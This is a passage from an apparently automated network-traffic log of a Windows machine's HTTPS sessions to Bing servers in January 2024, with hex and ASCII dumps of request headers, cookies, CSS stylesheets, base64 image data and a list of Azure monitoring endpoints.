38 7d 2c 7b 22 65 22 3a Data Ascii: jga20prdapp01-canary-opaph.netmon.azure.com","w":3,"m":1},{"e":"jga20prdapp01-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"jga20prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"jhz20prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":
2024-01-26 09:17:40 UTC	4096	IN	Data Raw: 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 70 68 78 31 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 70 68 78 31 30 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 70 68 78 37 30 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 70 68 78 38 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 Data Ascii: azure.com","w":3,"m":128},{"e":"phx10prdapp01-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"phx10prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"phx70prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"phx80prdapp01-canary-opap
2024-01-26 09:17:40 UTC	1872	IN	Data Raw: 77 22 3a 32 30 30 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 74 2d 73 31 2d 72 69 6e 67 2e 6d 73 65 64 67 65 2e 6e 65 74 22 2c 22 77 22 3a 35 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 74 2d 73 32 2d 72 69 6e 67 2e 6d 73 65 64 67 65 2e 6e 65 74 22 2c 22 77 22 3a 32 30 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 74 79 31 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 74 79 6f 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 74 79 6f 32 30 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 Data Ascii: w":2000,"m":3},{"e":"t-s1-ring.msedge.net","w":50,"m":3},{"e":"t-s2-ring.msedge.net","w":200,"m":3},{"e":"ty1prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":"tyo20prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":"tyo20prdapp02-canary.netmon.azu

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.16	49752	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:40 UTC	880	OUT	GET /rb/1c/cir3,ortl,cc,nc/uANxnX_BheDjd2-cdR8N9DEWlds.css?bu=C4kH-ALbA98H0wbABvUEXV1dXQ&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:41 UTC	1210	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Fri, 18 Nov 2022 01:58:05 GMT X-EventID: 6596f0673ea9410b872f6de37fcf7315 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: MWHEEEAP0024FA4 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=117304 Expires: Sat, 27 Jan 2024 17:52:45 GMT Date: Fri, 26 Jan 2024 09:17:41 GMT Content-Length: 20421 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260661.406dcd12 Timing-Allow-Origin: *
2024-01-26 09:17:41 UTC	15174	IN	Data Raw: 2e 73 77 5f 70 6c 75 73 2c 2e 73 77 5f 75 70 2c 2e 73 77 5f 64 6f 77 6e 2c 2e 73 77 5f 73 74 2c 2e 73 77 5f 73 74 68 2c 2e 73 77 5f 73 74 65 2c 2e 73 77 5f 74 70 63 62 6b 2c 2e 73 77 5f 70 6c 61 79 2c 2e 73 77 5f 70 6c 61 79 64 2c 2e 73 77 5f 70 6c 61 79 61 2c 2e 73 77 5f 70 6c 61 79 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 4d 44 4c 32 20 41 73 73 65 74 73 22 7d 2e 73 77 5f 70 6c 75 73 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 ee 9c 90 22 7d 2e 73 77 5f 70 6c 61 79 3a 61 66 74 65 72 2c 2e 73 77 5f 70 6c 61 79 61 3a 61 66 74 65 72 2c 2e 73 77 5f 70 6c 61 79 64 3a 61 66 74 65 72 2c 2e 73 77 5f 70 6c 61 79 70 3a 61 66 74 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 63 6f Data Ascii: .sw_plus,.sw_up,.sw_down,.sw_st,.sw_sth,.sw_ste,.sw_tpcbk,.sw_play,.sw_playd,.sw_playa,.sw_playp{font-family:"Segoe MDL2 Assets"}.sw_plus:after{content:""}.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after{font-size:16px;line-height:16px;co
2024-01-26 09:17:41 UTC	5247	IN	Data Raw: 70 74 2b 73 63 72 69 70 74 2b 2e 62 5f 61 6c 67 6f 2c 62 6f 64 79 5b 64 69 72 5d 20 23 62 5f 72 65 73 75 6c 74 73 3e 2e 62 5f 61 6e 73 2b 73 63 72 69 70 74 2b 73 63 72 69 70 74 2b 2e 62 5f 61 6e 73 2c 62 6f 64 79 5b 64 69 72 5d 20 23 62 5f 72 65 73 75 6c 74 73 3e 2e 62 5f 61 6c 67 6f 2b 73 63 72 69 70 74 2b 73 63 72 69 70 74 2b 2e 62 5f 61 6e 73 2c 62 6f 64 79 5b 64 69 72 5d 20 23 62 5f 72 65 73 75 6c 74 73 3e 2e 62 5f 6e 61 76 2b 73 63 72 69 70 74 2b 73 63 72 69 70 74 2b 2e 62 5f 61 6c 67 6f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 7d 62 6f 64 79 5b 64 69 72 5d 20 23 62 5f 72 65 73 75 6c 74 73 3e 6c 69 3e 2a 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 62 6f 64 79 5b 64 69 72 5d 20 2e 62 5f 63 61 70 74 69 6f 6e 3e 2a 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 62 6f Data Ascii: pt+script+.b_algo,body[dir] #b_results>.b_ans+script+script+.b_ans,body[dir] #b_results>.b_algo+script+script+.b_ans,body[dir] #b_results>.b_nav+script+script+.b_algo{margin-top:4px}body[dir] #b_results>li>:last-child,body[dir] .b_caption>:last-child,bo

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.16	49753	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:41 UTC	859	OUT	GET /rb/49/ortl,cc,nc/4-xJy3tX6bM2BGl5zKioiEcQ1TU.css?bu=A4gCjAKPAg&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:41 UTC	1210	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Dec 2023 22:46:56 GMT X-EventID: 659de16bd3374d3a86983d88daf90811 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: MWHEEEAP0024F66 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=149102 Expires: Sun, 28 Jan 2024 02:42:43 GMT Date: Fri, 26 Jan 2024 09:17:41 GMT Content-Length: 15967 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260661.406dcdf2 Timing-Allow-Origin: *
2024-01-26 09:17:41 UTC	15174	IN	Data Raw: 68 74 6d 6c 7b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 62 6f 64 79 5b 64 69 72 5d 20 74 61 62 6c 65 2c 62 6f 64 79 5b 64 69 72 5d 20 74 64 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 62 6f 64 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 53 61 6e 73 2d 53 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 7d 62 6f 64 79 5b 64 69 72 5d 7b 6d 61 72 67 69 6e 3a 30 7d 62 6f 64 79 20 2e 74 61 6c 6c 55 78 7b Data Ascii: html{-ms-user-select:none;overflow-y:hidden;overflow-x:hidden;cursor:default}body[dir] table,body[dir] td{margin:0;padding:0}body{font-size:15px;line-height:20px;font-family:"Segoe UI",Arial,Helvetica,Sans-Serif;color:#000}body[dir]{margin:0}body .tallUx{
2024-01-26 09:17:41 UTC	793	IN	Data Raw: 74 28 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 29 3a 6e 6f 74 28 2e 63 6f 72 74 61 6e 61 49 63 6f 6e 29 20 2e 69 63 6f 6e 20 69 6d 67 7b 77 69 64 74 68 3a 31 33 70 78 3b 68 65 69 67 68 74 3a 31 33 70 78 7d 2e 61 73 50 61 64 64 69 6e 67 20 2e 64 6f 75 62 6c 65 4c 69 6e 65 20 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 3e 2e 69 63 6f 6e 7b 6d 69 6e 2d 77 69 64 74 68 3a 34 34 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 70 78 7d 62 6f 64 79 5b 64 69 72 5d 20 2e 61 73 50 61 64 64 69 6e 67 20 2e 64 6f 75 62 6c 65 4c 69 6e 65 20 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 3e 2e 69 63 6f 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 70 78 7d 2e 61 73 50 61 64 64 69 6e 67 20 2e 6e 6f 72 6d 61 6c 69 7a 65 64 42 69 67 Data Ascii: t(.secondaryIcon):not(.cortanaIcon) .icon img{width:13px;height:13px}.asPadding .doubleLine .secondaryIcon>.icon{min-width:44px;min-height:44px;max-height:44px}body[dir] .asPadding .doubleLine .secondaryIcon>.icon{padding-top:6px}.asPadding .normalizedBig

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.16	49754	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:42 UTC	922	OUT	GET /rb/73/cir3,ortl,cc,nc/mPD4fuJQGcY0PxLeaVGIBZATSng.css?bu=Gd0J2gnvCZ0K5gnjCdQJlArUCfIJ1An8Cf8J1AnUCYUK1AmICpEKiwq2CtQJoArUCd0K&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:42 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Wed, 24 Jan 2024 18:14:06 GMT X-EventID: 65b20c67eba2417498c36bb08681a37c UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: MWHEEEAP0024FC5 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=338774 Expires: Tue, 30 Jan 2024 07:23:56 GMT Date: Fri, 26 Jan 2024 09:17:42 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260662.406dceb1 Timing-Allow-Origin: *
2024-01-26 09:17:42 UTC	15137	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2e 73 63 6f 70 65 73 2d 6c 69 73 74 7b 68 65 69 67 68 74 3a 35 32 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 62 6f 64 79 5b 64 69 72 5d 20 2e 73 63 6f 70 65 73 2d 6c 69 73 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 70 78 20 30 20 31 70 78 7d 2e 7a 65 72 6f 49 6e 70 75 74 31 39 48 31 20 2e 64 61 72 6b 54 68 65 6d 65 20 2e 73 63 6f 70 65 73 2d 6c 69 73 74 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 32 32 35 2c 32 32 35 2c 32 32 35 2c 2e 31 29 7d 2e 73 63 6f 70 65 73 2d 6c 69 73 74 3e 6c 69 7b 6d 69 6e 2d 77 69 64 74 68 3a 34 38 70 78 7d 2e 73 63 6f 70 65 73 2d 6c 69 Data Ascii: 00006000.scopes-list{height:52px;border-bottom:1px solid rgba(0,0,0,.1);display:flex}body[dir] .scopes-list{padding:0 1px 0 1px}.zeroInput19H1 .darkTheme .scopes-list{border-bottom:1px solid rgba(225,225,225,.1)}.scopes-list>li{min-width:48px}.scopes-li
2024-01-26 09:17:42 UTC	9451	IN	Data Raw: 61 6e 73 70 61 72 65 6e 74 3b 72 69 67 68 74 3a 30 7d 62 6f 64 79 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 6f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 2c 62 6f 64 79 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 6f 70 65 6e 42 72 6f 77 73 65 72 42 74 6e 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 6c 65 66 74 3a 30 7d 2e 6f 70 65 6e 42 72 6f 77 73 65 72 42 74 6e 20 2e 6f 70 65 6e 50 72 65 76 69 65 77 49 63 6f 6e 20 2e 69 63 6f 6e 43 6f 6e 74 61 69 6e 65 72 20 2e 69 63 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 23 72 6f 6f 74 3a 6e 6f 74 28 2e 7a 65 72 6f 49 6e 70 75 74 31 39 48 31 29 20 2e 73 61 5f 68 76 2e 61 72 72 6f 77 4f 72 54 61 62 41 63 74 69 6f 6e 2c 23 72 6f 6f 74 3a 6e 6f Data Ascii: ansparent;right:0}body[dir='rtl'] .openPreviewPaneBtn,body[dir='rtl'] .openBrowserBtn{border-right:1px solid transparent;left:0}.openBrowserBtn .openPreviewIcon .iconContainer .icon{font-size:16px}#root:not(.zeroInput19H1) .sa_hv.arrowOrTabAction,#root:no
2024-01-26 09:17:42 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 6c 74 72 27 5d 20 2e 74 6f 70 52 65 73 75 6c 74 73 20 2e 62 69 67 49 63 6f 6e 2e 62 69 67 67 65 72 49 63 6f 6e 20 2e 64 65 74 61 69 6c 73 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 34 70 78 7d 62 6f 64 79 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 74 6f 70 52 65 73 75 6c 74 73 20 2e 62 69 67 49 63 6f 6e 2e 62 69 67 67 65 72 49 63 6f 6e 20 2e 64 65 74 61 69 6c 73 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 30 34 70 78 7d 2e 74 6f 70 52 65 73 75 6c 74 73 20 2e 62 69 67 49 63 6f 6e 20 2e 69 63 6f 6e 2c 2e 74 6f 70 52 65 73 75 6c 74 73 20 2e 62 69 67 49 63 6f 6e 20 2e 69 63 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 36 38 70 78 3b 68 65 69 67 68 74 3a 36 38 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 38 70 78 7d 2e Data Ascii: 00006000ltr'] .topResults .bigIcon.biggerIcon .details{padding-left:104px}body[dir='rtl'] .topResults .bigIcon.biggerIcon .details{padding-right:104px}.topResults .bigIcon .icon,.topResults .bigIcon .iconContainer{width:68px;height:68px;font-size:68px}.
2024-01-26 09:17:42 UTC	8204	IN	Data Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 39 32 70 78 7d 2e 67 72 69 64 4c 61 79 6f 75 74 4d 65 64 69 75 6d 20 2e 73 75 67 67 65 73 74 69 6f 6e 20 2e 69 63 6f 6e 2c 2e 67 72 69 64 4c 61 79 6f 75 74 4d 65 64 69 75 6d 20 2e 73 75 67 67 65 73 74 69 6f 6e 20 2e 69 63 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 36 38 70 78 3b 68 65 69 67 68 74 3a 36 38 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 38 70 78 7d 23 72 6f 6f 74 20 2e 74 6f 70 48 69 74 43 6f 6e 6e 65 63 74 65 64 54 6f 47 72 6f 75 70 20 2e 73 75 67 67 65 73 74 69 6f 6e 3a 68 6f 76 65 72 3a 6e 6f 74 28 2e 73 61 5f 68 76 29 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 29 7d 2e 62 5f 73 65 63 6f 6e 64 61 72 79 46 6f 63 75 73 7b 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: x;font-size:92px}.gridLayoutMedium .suggestion .icon,.gridLayoutMedium .suggestion .iconContainer{width:68px;height:68px;font-size:68px}#root .topHitConnectedToGroup .suggestion:hover:not(.sa_hv){background:rgba(255,255,255,.1)}.b_secondaryFocus{font-size
2024-01-26 09:17:42 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 62 6f 64 79 5b 64 69 72 5d 20 2e 77 69 74 68 53 65 63 6f 6e 64 61 72 79 49 63 6f 6e 2e 77 69 74 68 4f 70 65 6e 50 72 65 76 69 65 77 50 61 6e 65 42 74 6e 2e 65 6d 61 69 6c 20 2e 69 63 6f 6e 43 6f 6e 74 61 69 6e 65 72 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 7b 6d 61 72 67 69 6e 3a 30 7d 2e 65 6d 61 69 6c 20 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 2e 69 63 6f 6e 43 6f 6e 74 61 69 6e 65 72 2c 2e 74 6f 70 52 65 73 75 6c 74 73 20 2e 65 6d 61 69 6c 20 2e 73 65 63 6f 6e 64 61 72 79 49 63 6f 6e 2e 69 63 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 36 70 78 3b 68 65 69 67 68 74 3a 31 36 70 78 7d 2e 65 6d 61 69 6c 20 2e 73 65 63 6f 6e 64 61 72 79 49 63 Data Ascii: 00004000Content{font-size:15px}body[dir] .withSecondaryIcon.withOpenPreviewPaneBtn.email .iconContainer.secondaryIcon{margin:0}.email .secondaryIcon.iconContainer,.topResults .email .secondaryIcon.iconContainer{width:16px;height:16px}.email .secondaryIc
2024-01-26 09:17:42 UTC	12	IN	Data Raw: 4d 32 49 44 45 30 4c 6a 51 31 0d 0a Data Ascii: M2IDE0LjQ1
2024-01-26 09:17:42 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 4f 44 45 67 4d 54 55 75 4f 54 41 30 4f 53 41 78 4e 43 34 30 4e 7a 67 67 4d 54 55 75 4f 44 6b 32 4d 69 41 78 4e 43 34 30 4f 54 67 32 51 7a 45 31 4c 6a 67 33 4d 44 45 67 4d 54 51 75 4e 54 55 35 4d 53 41 78 4e 53 34 34 4d 7a 6b 78 49 44 45 30 4c 6a 59 78 4e 7a 45 67 4d 54 55 75 4f 44 41 30 4d 69 41 78 4e 43 34 32 4e 7a 49 34 51 7a 45 31 4c 6a 63 31 4f 54 45 67 4d 54 51 75 4e 7a 51 32 4d 53 41 78 4e 53 34 33 4d 44 63 32 49 44 45 30 4c 6a 67 78 4e 44 55 67 4d 54 55 75 4e 6a 55 77 4e 43 41 78 4e 43 34 34 4e 7a 67 79 51 7a 45 31 4c 6a 4d 34 4e 7a 6b 67 4d 54 55 75 4d 54 59 35 4e 53 41 78 4e 43 34 30 4f 54 59 30 49 44 45 31 4c 6a 59 34 4f 44 6b 67 4d 54 51 75 4d 54 59 33 4f 53 41 78 4e 53 34 34 4f 54 6b 35 54 44 45 7a 4c 6a 51 7a 4f Data Ascii: 00004000ODEgMTUuOTA0OSAxNC40NzggMTUuODk2MiAxNC40OTg2QzE1Ljg3MDEgMTQuNTU5MSAxNS44MzkxIDE0LjYxNzEgMTUuODA0MiAxNC42NzI4QzE1Ljc1OTEgMTQuNzQ2MSAxNS43MDc2IDE0LjgxNDUgMTUuNjUwNCAxNC44NzgyQzE1LjM4NzkgMTUuMTY5NSAxNC40OTY0IDE1LjY4ODkgMTQuMTY3OSAxNS44OTk5TDEzLjQzO
2024-01-26 09:17:42 UTC	12	IN	Data Raw: 6a 41 34 4e 44 49 67 4d 54 55 0d 0a Data Ascii: jA4NDIgMTU
2024-01-26 09:17:42 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 75 4e 7a 67 32 4f 53 41 78 4d 79 34 78 4d 7a 49 67 4d 54 55 75 4f 44 45 32 4d 69 41 78 4d 79 34 78 4f 44 4a 44 4d 54 55 75 4f 54 51 30 4e 43 41 78 4d 79 34 7a 4f 54 59 32 49 44 45 32 4c 6a 41 78 4f 44 49 67 4d 54 4d 75 4e 6a 51 34 4f 53 41 78 4e 69 34 77 4d 54 67 79 49 44 45 7a 4c 6a 6b 78 4e 7a 68 61 49 69 42 6d 61 57 78 73 50 53 4a 31 63 6d 77 6f 49 33 42 68 61 57 35 30 4e 56 39 73 61 57 35 6c 59 58 4a 66 4d 54 4d 32 4d 46 38 79 4d 44 49 33 4e 79 6b 69 4c 7a 34 4b 50 48 42 68 64 47 67 67 5a 44 30 69 54 54 45 78 4c 6a 4d 78 4d 54 45 67 4e 79 34 7a 4e 54 67 34 4d 30 77 78 4d 53 34 7a 4d 53 41 78 4e 43 34 32 4e 7a 55 78 54 44 45 77 4c 6a 6b 30 4d 44 55 67 4d 54 51 75 4f 44 6b 30 4f 45 77 78 4d 43 34 32 4e 53 41 78 4e 53 34 77 Data Ascii: 